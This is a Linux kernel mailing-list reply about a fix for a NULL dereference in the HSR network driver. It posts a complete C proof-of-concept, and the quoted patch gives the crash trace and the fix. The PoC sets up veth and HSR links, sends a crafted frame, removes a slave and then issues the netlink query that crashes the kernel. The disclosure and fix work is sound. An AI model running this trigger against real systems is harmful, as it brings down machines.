* Re: [PATCH net] net: hsr: fix NULL deref in hsr_get_node_data
2026-05-11 7:15 [PATCH net] net: hsr: fix NULL deref in hsr_get_node_data Xiang Mei
@ 2026-05-11 7:18 ` Xiang Mei
2026-05-12 10:46 ` Simon Horman
1 sibling, 0 replies; 3+ messages in thread
From: Xiang Mei @ 2026-05-11 7:18 UTC (permalink / raw)
To: netdev
Cc: fmaurer, kuba, pabeni, edumazet, davem, horms, linux-kernel,
bestswngs
Thanks for your attention to this bug. Here are some resources to help
you trigger the bug.
Required key configs for the poc:
```
CONFIG_HSR=y
CONFIG_VETH=y
```
Here is a PoC trigger that causes the intended crash shown in the
commit message:
```c
#include <arpa/inet.h>
#include <linux/genetlink.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <net/if.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#define ETH_P_HSR 0x892F
#define ETH_P_PRP 0x88FB
#define HSR_TLV_ANNOUNCE 22
enum { HSR_A_UNSPEC, HSR_A_NODE_ADDR, HSR_A_IFINDEX };
enum { HSR_C_UNSPEC, HSR_C_RING_ERROR, HSR_C_NODE_DOWN,
HSR_C_GET_NODE_STATUS };
static const uint8_t sup_mcast[6] = {0x01,0x15,0x4e,0x00,0x01,0x00};
static const uint8_t src_mac[6] = {0x02,0xaa,0xaa,0xaa,0xaa,0x01};
static const uint8_t node_macA[6] = {0x02,0xbb,0xbb,0xbb,0xbb,0x01};
static void die(const char *m) { perror(m); exit(1); }
static struct nlattr *nla_put(struct nlmsghdr *n, int type,
const void *data, int len)
{
struct nlattr *a = (void *)n + NLMSG_ALIGN(n->nlmsg_len);
a->nla_type = type;
a->nla_len = NLA_HDRLEN + len;
if (len)
memcpy((char *)a + NLA_HDRLEN, data, len);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + NLA_ALIGN(a->nla_len);
return a;
}
static struct nlattr *nla_nest(struct nlmsghdr *n, int type)
{
return nla_put(n, type, NULL, 0);
}
static void nla_nest_end(struct nlmsghdr *n, struct nlattr *start)
{
start->nla_len = (char *)n + n->nlmsg_len - (char *)start;
}
static int rtnl_talk(int sk, struct nlmsghdr *n)
{
if (send(sk, n, n->nlmsg_len, 0) < 0)
die("send(rtnl)");
char buf[4096];
int len = recv(sk, buf, sizeof(buf), 0);
if (len < 0)
die("recv(rtnl)");
struct nlmsghdr *h = (void *)buf;
if (h->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(h);
if (e->error)
fprintf(stderr, "rtnl: %s\n", strerror(-e->error));
return e->error;
}
return 0;
}
static int rtnl_open(void)
{
int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sk < 0) die("socket(rtnl)");
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (bind(sk, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("bind(rtnl)");
return sk;
}
static int rtnl_seq;
static void newlink_begin(struct nlmsghdr *n, const char *ifname,
const char *kind, struct nlattr **linkinfo,
struct nlattr **infodata)
{
struct ifinfomsg *ifm;
n->nlmsg_len = NLMSG_LENGTH(sizeof(*ifm));
n->nlmsg_type = RTM_NEWLINK;
n->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
n->nlmsg_seq = ++rtnl_seq;
ifm = NLMSG_DATA(n);
memset(ifm, 0, sizeof(*ifm));
ifm->ifi_family = AF_UNSPEC;
nla_put(n, IFLA_IFNAME, ifname, strlen(ifname) + 1);
*linkinfo = nla_nest(n, IFLA_LINKINFO);
nla_put(n, IFLA_INFO_KIND, kind, strlen(kind) + 1);
*infodata = nla_nest(n, IFLA_INFO_DATA);
}
static void create_veth(int sk, const char *name, const char *peer)
{
char buf[1024] = {0};
struct nlmsghdr *n = (void *)buf;
struct nlattr *linkinfo, *infodata;
newlink_begin(n, name, "veth", &linkinfo, &infodata);
struct nlattr *peer_nest = nla_nest(n, VETH_INFO_PEER);
struct ifinfomsg *p = (void *)n + NLMSG_ALIGN(n->nlmsg_len);
memset(p, 0, sizeof(*p));
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + NLMSG_ALIGN(sizeof(*p));
nla_put(n, IFLA_IFNAME, peer, strlen(peer) + 1);
nla_nest_end(n, peer_nest);
nla_nest_end(n, infodata);
nla_nest_end(n, linkinfo);
if (rtnl_talk(sk, n))
exit(1);
}
static void link_up(int sk, const char *name)
{
char buf[256] = {0};
struct nlmsghdr *n = (void *)buf;
struct ifinfomsg *ifm;
n->nlmsg_len = NLMSG_LENGTH(sizeof(*ifm));
n->nlmsg_type = RTM_NEWLINK;
n->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
n->nlmsg_seq = ++rtnl_seq;
ifm = NLMSG_DATA(n);
memset(ifm, 0, sizeof(*ifm));
ifm->ifi_family = AF_UNSPEC;
ifm->ifi_index = if_nametoindex(name);
ifm->ifi_change = IFF_UP;
ifm->ifi_flags = IFF_UP;
rtnl_talk(sk, n);
}
static void link_del(int sk, const char *name)
{
char buf[256] = {0};
struct nlmsghdr *n = (void *)buf;
struct ifinfomsg *ifm;
n->nlmsg_len = NLMSG_LENGTH(sizeof(*ifm));
n->nlmsg_type = RTM_DELLINK;
n->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
n->nlmsg_seq = ++rtnl_seq;
ifm = NLMSG_DATA(n);
memset(ifm, 0, sizeof(*ifm));
ifm->ifi_family = AF_UNSPEC;
ifm->ifi_index = if_nametoindex(name);
rtnl_talk(sk, n);
}
static void create_hsr(int sk, const char *name, int slave1, int slave2)
{
char buf[1024] = {0};
struct nlmsghdr *n = (void *)buf;
struct nlattr *linkinfo, *infodata;
newlink_begin(n, name, "hsr", &linkinfo, &infodata);
nla_put(n, IFLA_HSR_SLAVE1, &slave1, sizeof(slave1));
nla_put(n, IFLA_HSR_SLAVE2, &slave2, sizeof(slave2));
uint8_t ver = 1;
nla_put(n, IFLA_HSR_VERSION, &ver, 1);
nla_nest_end(n, infodata);
nla_nest_end(n, linkinfo);
if (rtnl_talk(sk, n))
exit(1);
}
static void send_sup_frame(const char *ifname)
{
struct __attribute__((packed)) {
uint8_t h_dest[6], h_source[6];
uint16_t h_proto;
uint16_t path_and_LSDU_size, sequence_nr, encap_proto;
uint16_t path_and_HSR_ver, sup_sequence_nr;
uint8_t tlv_type, tlv_length;
uint8_t payload_macA[6];
uint8_t eot_type, eot_length;
} f = {0};
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) die("socket(AF_PACKET)");
struct sockaddr_ll sll = {
.sll_family = AF_PACKET,
.sll_protocol = htons(ETH_P_HSR),
.sll_ifindex = if_nametoindex(ifname),
.sll_halen = 6,
};
memcpy(sll.sll_addr, sup_mcast, 6);
if (bind(s, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die("bind(AF_PACKET)");
memcpy(f.h_dest, sup_mcast, 6);
memcpy(f.h_source, src_mac, 6);
f.h_proto = htons(ETH_P_HSR);
f.path_and_LSDU_size = htons((1 << 12) | 28);
f.sequence_nr = htons(1);
f.encap_proto = htons(ETH_P_PRP);
f.sup_sequence_nr = htons(1);
f.tlv_type = HSR_TLV_ANNOUNCE;
f.tlv_length = 6;
memcpy(f.payload_macA, node_macA, 6);
if (sendto(s, &f, sizeof(f), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die("sendto(sup)");
close(s);
}
static int resolve_hsr_family(int sk)
{
char buf[1024] = {0};
struct nlmsghdr *n = (void *)buf;
struct genlmsghdr *g;
n->nlmsg_len = NLMSG_LENGTH(sizeof(*g));
n->nlmsg_type = GENL_ID_CTRL;
n->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
g = NLMSG_DATA(n);
g->cmd = CTRL_CMD_GETFAMILY;
g->version = 1;
nla_put(n, CTRL_ATTR_FAMILY_NAME, "HSR", 4);
if (send(sk, n, n->nlmsg_len, 0) < 0) die("send(genl)");
int len = recv(sk, buf, sizeof(buf), 0);
if (len < 0) die("recv(genl)");
struct nlmsghdr *h = (void *)buf;
struct genlmsghdr *gh = NLMSG_DATA(h);
int alen = h->nlmsg_len - NLMSG_LENGTH(sizeof(*gh));
struct nlattr *a = (void *)gh + NLMSG_ALIGN(sizeof(*gh));
while (alen > 0 && a->nla_len) {
if (a->nla_type == CTRL_ATTR_FAMILY_ID)
return *(uint16_t *)((char *)a + NLA_HDRLEN);
int step = NLA_ALIGN(a->nla_len);
a = (void *)a + step;
alen -= step;
}
fprintf(stderr, "HSR family not found\n");
exit(1);
}
static void trigger(int sk, int family_id, int hsr_ifindex)
{
char buf[256] = {0};
struct nlmsghdr *n = (void *)buf;
struct genlmsghdr *g;
n->nlmsg_len = NLMSG_LENGTH(sizeof(*g));
n->nlmsg_type = family_id;
n->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
g = NLMSG_DATA(n);
g->cmd = HSR_C_GET_NODE_STATUS;
g->version = 1;
nla_put(n, HSR_A_IFINDEX, &hsr_ifindex, sizeof(hsr_ifindex));
nla_put(n, HSR_A_NODE_ADDR, node_macA, 6);
send(sk, n, n->nlmsg_len, 0);
}
int main(void)
{
int rsk = rtnl_open();
create_veth(rsk, "v0", "v1");
create_veth(rsk, "v2", "v3");
link_up(rsk, "v0"); link_up(rsk, "v1");
link_up(rsk, "v2"); link_up(rsk, "v3");
create_hsr(rsk, "hsr0", if_nametoindex("v0"), if_nametoindex("v2"));
link_up(rsk, "hsr0");
int hsr_ifindex = if_nametoindex("hsr0");
if (!hsr_ifindex) die("if_nametoindex(hsr0)");
usleep(200 * 1000); /* let carrier propagate */
send_sup_frame("v1"); /* sets addr_B_port = SLAVE_A */
usleep(200 * 1000); /* let kernel process the frame */
link_del(rsk, "v0"); /* slave_a port goes away */
usleep(200 * 1000); /* let RCU drain */
int gsk = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (gsk < 0) die("socket(genl)");
int fid = resolve_hsr_family(gsk);
trigger(gsk, fid, hsr_ifindex); /* boom */
puts("[*] survived -- bug did not trigger");
return 0;
}
```
Feel free to ask any questions.
Thanks,
Xiang
On Mon, May 11, 2026 at 12:15 AM Xiang Mei <xmei5@asu.edu> wrote:
>
> hsr_get_node_data() looks up a node's address-B port and dereferences
> port->dev->ifindex without checking the return value of
> hsr_port_get_hsr(), which returns NULL when no port of the requested
> type is currently attached.
>
> node->addr_B_port is set by hsr_handle_sup_frame() on every supervision
> frame but is never cleared when the corresponding slave is removed.
> If one slave of an HSR master is unregistered while the master stays
> alive (the other slave keeps it up), node_db entries retain a stale
> addr_B_port. An unprivileged HSR_C_GET_NODE_STATUS query (genl op has
> .flags = 0) then crashes the kernel:
>
> Oops: general protection fault, probably for non-canonical address
> 0xdffffc0000000002: 0000 [#1] SMP KASAN NOPTI
> KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]
> RIP: 0010:hsr_get_node_data (net/hsr/hsr_framereg.c:892)
> Call Trace:
> hsr_get_node_status (net/hsr/hsr_netlink.c:366)
> genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
> genl_rcv_msg (net/netlink/genetlink.c:1209)
> netlink_rcv_skb (net/netlink/af_netlink.c:2550)
> netlink_unicast (net/netlink/af_netlink.c:1344)
> netlink_sendmsg (net/netlink/af_netlink.c:1894)
> __sys_sendto (net/socket.c:2265)
>
> Default *addr_b_ifindex to -1 and only overwrite it when the port
> lookup succeeds. The caller hsr_get_node_status() already treats
> addr_b_ifindex == -1 as "no address-B port" when emitting the
> HSR_A_NODE_ADDR_B / HSR_A_ADDR_B_IFINDEX attributes, so behavior is
> unchanged for valid setups.
>
> Fixes: c5a759117210 ("net/hsr: Use list_head (and rcu) instead of array for slave devices.")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-7
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> net/hsr/hsr_framereg.c | 6 +++---
> 1 file changed, 3 insertions(+), 3 deletions(-)
>
> diff --git a/net/hsr/hsr_framereg.c b/net/hsr/hsr_framereg.c
> index d09875b33588..8018d5c0c878 100644
> --- a/net/hsr/hsr_framereg.c
> +++ b/net/hsr/hsr_framereg.c
> @@ -887,11 +887,11 @@ int hsr_get_node_data(struct hsr_priv *hsr,
> if (hsr->prot_version != PRP_V1)
> fill_last_seq_nrs(node, if1_seq, if2_seq);
>
> + *addr_b_ifindex = -1;
> if (node->addr_B_port != HSR_PT_NONE) {
> port = hsr_port_get_hsr(hsr, node->addr_B_port);
> - *addr_b_ifindex = port->dev->ifindex;
> - } else {
> - *addr_b_ifindex = -1;
> + if (port)
> + *addr_b_ifindex = port->dev->ifindex;
> }
>
> return 0;
> --
> 2.43.0
>
^ permalink raw reply [flat|nested] 3+ messages in thread